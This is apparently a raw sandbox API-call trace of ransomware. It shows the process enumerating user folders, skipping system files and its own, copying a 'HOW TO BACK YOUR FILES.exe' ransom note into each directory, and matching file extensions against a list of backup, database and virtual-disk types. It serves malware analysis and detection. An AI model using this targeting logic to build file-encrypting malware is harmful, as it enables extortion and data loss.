	[0036.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0036.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bde88
	[0036.949] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7ad0
	[0036.949] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1
	[0036.949] lstrcmpiW (lpString1="My Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.949] lstrcmpiW (lpString1="My Pictures", lpString2="Apollon865.txt.exe") returned 1
	[0036.949] lstrcmpiW (lpString1="My Pictures", lpString2=".") returned 1
	[0036.949] lstrcmpiW (lpString1="My Pictures", lpString2="..") returned 1
	[0036.949] lstrcmpiW (lpString1="My Pictures", lpString2="windows") returned -1
	[0036.949] lstrcmpiW (lpString1="My Pictures", lpString2="bootmgr") returned 1
	[0036.949] lstrcmpiW (lpString1="My Pictures", lpString2="temp") returned -1
	[0036.949] lstrcmpiW (lpString1="My Pictures", lpString2="pagefile.sys") returned -1
	[0036.949] lstrcmpiW (lpString1="My Pictures", lpString2="boot") returned 1
	[0036.949] lstrcmpiW (lpString1="My Pictures", lpString2="ids.txt") returned 1
	[0036.950] lstrcmpiW (lpString1="My Pictures", lpString2="ntuser.dat") returned -1
	[0036.950] lstrcmpiW (lpString1="My Pictures", lpString2="perflogs") returned -1
	[0036.950] lstrcmpiW (lpString1="My Pictures", lpString2="MSBuild") returned 1
	[0036.950] lstrlenW (lpString="My Pictures") returned 11
	[0036.950] lstrlenW (lpString="C:\\Users\\Default\\Documents\\My Music") returned 35
	[0036.950] lstrcpyW (in: lpString1=0x2d3e586, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures"
	[0036.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0036.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4e) returned 0x5bc908
	[0036.950] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0036.950] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1
	[0036.950] lstrcmpiW (lpString1="My Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.950] lstrcmpiW (lpString1="My Videos", lpString2="Apollon865.txt.exe") returned 1
	[0036.950] lstrcmpiW (lpString1="My Videos", lpString2=".") returned 1
	[0036.950] lstrcmpiW (lpString1="My Videos", lpString2="..") returned 1
	[0036.950] lstrcmpiW (lpString1="My Videos", lpString2="windows") returned -1
	[0036.950] lstrcmpiW (lpString1="My Videos", lpString2="bootmgr") returned 1
	[0036.950] lstrcmpiW (lpString1="My Videos", lpString2="temp") returned -1
	[0036.950] lstrcmpiW (lpString1="My Videos", lpString2="pagefile.sys") returned -1
	[0036.950] lstrcmpiW (lpString1="My Videos", lpString2="boot") returned 1
	[0036.950] lstrcmpiW (lpString1="My Videos", lpString2="ids.txt") returned 1
	[0036.950] lstrcmpiW (lpString1="My Videos", lpString2="ntuser.dat") returned -1
	[0036.950] lstrcmpiW (lpString1="My Videos", lpString2="perflogs") returned -1
	[0036.950] lstrcmpiW (lpString1="My Videos", lpString2="MSBuild") returned 1
	[0036.950] lstrlenW (lpString="My Videos") returned 9
	[0036.950] lstrlenW (lpString="C:\\Users\\Default\\Documents\\My Pictures") returned 38
	[0036.950] lstrcpyW (in: lpString1=0x2d3e586, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos"
	[0036.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0036.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bc960
	[0036.950] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0036.950] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0
	[0036.950] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0036.950] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b30
	[0036.950] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Documents\\My Videos", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos"
	[0036.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc960 | out: hHeap=0x580000) returned 1
	[0036.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0036.951] lstrlenW (lpString="C:\\Users\\Default\\Documents\\My Videos") returned 36
	[0036.951] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Documents\\My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos"
	[0036.951] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.951] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0036.951] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0036.951] GetLastError () returned 0x0
	[0036.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0036.951] ReadFile (in: hFile=0x120, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0036.951] CloseHandle (hObject=0x120) returned 1
	[0036.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0036.951] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.952] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0xffffffff
	[0036.952] GetLastError () returned 0x5
	[0036.952] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\Documents\\My Videos\\* FindFirstFile error 5\r\n") returned 70
	[0036.952] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\Documents\\My Videos\\* FindFirstFile error 5\r\n") returned 70
	[0036.952] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0036.952] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x730
	[0036.952] WriteFile (in: hFile=0x120, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x46, lpOverlapped=0x0) returned 1
	[0036.952] CloseHandle (hObject=0x120) returned 1
	[0036.967] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0036.967] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Documents\\My Pictures", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures"
	[0036.968] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc908 | out: hHeap=0x580000) returned 1
	[0036.968] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0036.968] lstrlenW (lpString="C:\\Users\\Default\\Documents\\My Pictures") returned 38
	[0036.968] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures"
	[0036.968] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.968] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0036.968] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0036.968] GetLastError () returned 0x0
	[0036.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0036.969] ReadFile (in: hFile=0x11c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0036.969] CloseHandle (hObject=0x11c) returned 1
	[0036.969] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0036.969] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.969] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0xffffffff
	[0036.969] GetLastError () returned 0x5
	[0036.969] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\Documents\\My Pictures\\* FindFirstFile error 5\r\n") returned 72
	[0036.969] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\Documents\\My Pictures\\* FindFirstFile error 5\r\n") returned 72
	[0036.969] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0036.969] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x776
	[0036.969] WriteFile (in: hFile=0x11c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x48, lpOverlapped=0x0) returned 1
	[0036.969] CloseHandle (hObject=0x11c) returned 1
	[0036.971] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0036.971] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Documents\\My Music", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music"
	[0036.971] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bde88 | out: hHeap=0x580000) returned 1
	[0036.971] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0036.971] lstrlenW (lpString="C:\\Users\\Default\\Documents\\My Music") returned 35
	[0036.971] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Documents\\My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music"
	[0036.971] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.971] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0036.971] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0036.972] GetLastError () returned 0x0
	[0036.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0036.972] ReadFile (in: hFile=0x11c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0036.972] CloseHandle (hObject=0x11c) returned 1
	[0036.972] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0036.972] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.972] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0xffffffff
	[0036.972] GetLastError () returned 0x5
	[0036.972] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\Documents\\My Music\\* FindFirstFile error 5\r\n") returned 69
	[0036.972] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\Documents\\My Music\\* FindFirstFile error 5\r\n") returned 69
	[0036.972] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0036.972] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7be
	[0036.972] WriteFile (in: hFile=0x11c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x45, lpOverlapped=0x0) returned 1
	[0036.980] CloseHandle (hObject=0x11c) returned 1
	[0036.981] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0036.981] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Desktop", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop"
	[0036.981] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca210 | out: hHeap=0x580000) returned 1
	[0036.981] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0036.981] lstrlenW (lpString="C:\\Users\\Default\\Desktop") returned 24
	[0036.981] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop"
	[0036.981] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.981] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.985] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.985] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e353c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e353c70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0036.985] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.985] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.985] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.985] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e353c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e353c70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.985] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.985] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.985] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.985] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.985] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0036.986] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.986] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0036.986] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0036.986] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0036.986] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0036.986] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0036.986] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0036.986] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0036.986] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0036.986] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0036.986] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0036.986] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0036.986] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0036.986] lstrlenW (lpString="desktop.ini") returned 11
	[0036.986] lstrlenW (lpString="C:\\Users\\Default\\Desktop\\*") returned 26
	[0036.986] lstrcpyW (in: lpString1=0x2d3e582, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0036.986] lstrlenW (lpString="desktop.ini") returned 11
	[0036.986] lstrlenW (lpString="Apollon865") returned 10
	[0036.986] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0036.986] lstrlenW (lpString=".dll") returned 4
	[0036.986] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0036.986] lstrlenW (lpString=".lnk") returned 4
	[0036.986] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0036.986] lstrlenW (lpString=".ini") returned 4
	[0036.986] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0036.986] lstrlenW (lpString=".sys") returned 4
	[0036.986] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0036.986] lstrlenW (lpString="desktop.ini") returned 11
	[0036.986] lstrlenW (lpString="bak") returned 3
	[0036.986] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0036.986] lstrlenW (lpString="ba_") returned 3
	[0036.986] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0036.986] lstrlenW (lpString="dbb") returned 3
	[0036.986] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0036.986] lstrlenW (lpString="vmdk") returned 4
	[0036.986] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0036.987] lstrlenW (lpString="rar") returned 3
	[0036.987] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0036.987] lstrlenW (lpString="zip") returned 3
	[0036.987] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0036.987] lstrlenW (lpString="tgz") returned 3
	[0036.987] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0036.987] lstrlenW (lpString="vbox") returned 4
	[0036.987] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0036.987] lstrlenW (lpString="vdi") returned 3
	[0036.987] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0036.987] lstrlenW (lpString="vhd") returned 3
	[0036.987] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0036.987] lstrlenW (lpString="vhdx") returned 4
	[0036.987] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0036.987] lstrlenW (lpString="avhd") returned 4
	[0036.987] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0036.987] lstrlenW (lpString="db") returned 2
	[0036.987] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0036.987] lstrlenW (lpString="db2") returned 3
	[0036.987] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0036.987] lstrlenW (lpString="db3") returned 3
	[0036.987] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0036.987] lstrlenW (lpString="dbf") returned 3
	[0036.987] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0036.987] lstrlenW (lpString="mdf") returned 3
	[0036.987] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0036.987] lstrlenW (lpString="mdb") returned 3
	[0036.987] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0036.987] lstrlenW (lpString="sql") returned 3
	[0036.987] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0036.987] lstrlenW (lpString="sqlite") returned 6
	[0036.987] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0036.987] lstrlenW (lpString="sqlite3") returned 7
	[0036.987] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0036.987] lstrlenW (lpString="sqlitedb") returned 8
	[0036.987] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0036.987] lstrlenW (lpString="xml") returned 3
	[0036.988] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0036.988] lstrlenW (lpString="$er") returned 3
	[0036.988] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0036.988] lstrlenW (lpString="4dd") returned 3
	[0036.988] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0036.988] lstrlenW (lpString="4dl") returned 3
	[0036.988] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0036.988] lstrlenW (lpString="^^^") returned 3
	[0036.988] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0036.988] lstrlenW (lpString="abs") returned 3
	[0036.988] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0036.988] lstrlenW (lpString="abx") returned 3
